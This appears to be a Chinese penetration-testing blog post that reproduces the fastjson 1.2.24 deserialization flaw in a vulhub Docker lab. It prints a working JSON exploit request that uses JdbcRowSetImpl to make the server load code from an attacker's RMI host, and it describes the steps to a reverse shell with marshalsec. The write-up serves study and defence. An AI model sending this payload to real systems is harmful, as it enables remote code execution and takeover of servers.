【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程


前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
利用版本: fastjson <= 1.2.24


漏洞环境搭建

使用docker和vulhub搭建漏洞环境。需要提前在本地安装docker,windows可以安装Docker Desktop,Linux直接安装Docker就可以了,vulhub提供了漏洞的docker-compose可以一键搭建漏洞环境,非常方便。将vulhub拉取到本地之后,进入fastjson目录的1.2.24目录下。可以看到有docker-compose.yml。
vulhub/fastjson/1.2.24/
直接运行docker-compose up -d即可后台运行漏洞环境(需要等待一小段时间搭建环境)。
docker-compose up
这时候我们输入docker ps就可以查看到我们创建的一个容器了,fastjson就在里面运行着。
container
PORTS字段可以看到docker把容器内的8090端口也映射到了本地的8090端口。现在只需要访问本地的8090端口就可以访问到了。
火狐

漏洞利用复现

处理json时发生反序列化

需要注意:对127.0.0.1的访问可能不会经过代理,这时候只要ipconfig,查看本地的ip来访问。

使用burpsuite抓取请求包。
burpsuit1
修改为POST方式,把内容类型改成application/json,并且发现发送age和name去可以指定回显的json。
json
说明我们的json经过处理了。Fastjson提供了反序列化功能,允许用户在输入JSON串时通过"@type"键对应的value指定任意反序列化类名。并且Fastjson在反射地生成我们指定的类的实例化对象时,还会自动调用该对象的setter方法及部分getter方法。
我们payload这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,这就可以进行JNDI注入。Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。如果autotype开关关闭,则无法从@type字段传入类进行jndi攻击。

JNDI注入

接下来直接使用JNDI攻击就可以了,可以自行编写恶意类,然后通过假设rmi服务或者ldap来攻击,也可以直接在github上找到jndi注入的方便搭建恶意rmi或者ldap服务的工具,这里需要目标在网络上能够访问到这台服务器。
搭建服务
在这里插入图片描述

POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsip:1099/9cf4ag",
        "autoCommit":true
    }
}

log
进入docker查看创建文件成功,即远程命令执行成功。(进入容器的命令docker exec -i -t <容器name> /bin/sh,windows可以直接图形界面进去,很方便)
在这里插入图片描述

反弹shell

写一个恶意类evil.java,编译完之后放到web根目录,可以通过80端口访问到这个evil.class
evil.java
然后启动marshalsec一键搭建rmi服务器(github上下载),监听9999端口。
opening
发送payload
payload
VPS成功接收到反弹shell。
rmi
同理ldap也可以。
ldap
ldap success

总结

上文只是复现了一下漏洞,并且简单记录了一下如何攻击,payload的构成,有时间可以深入的分析一下代码,学习一下该反序列化链的流程。

  • 9
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值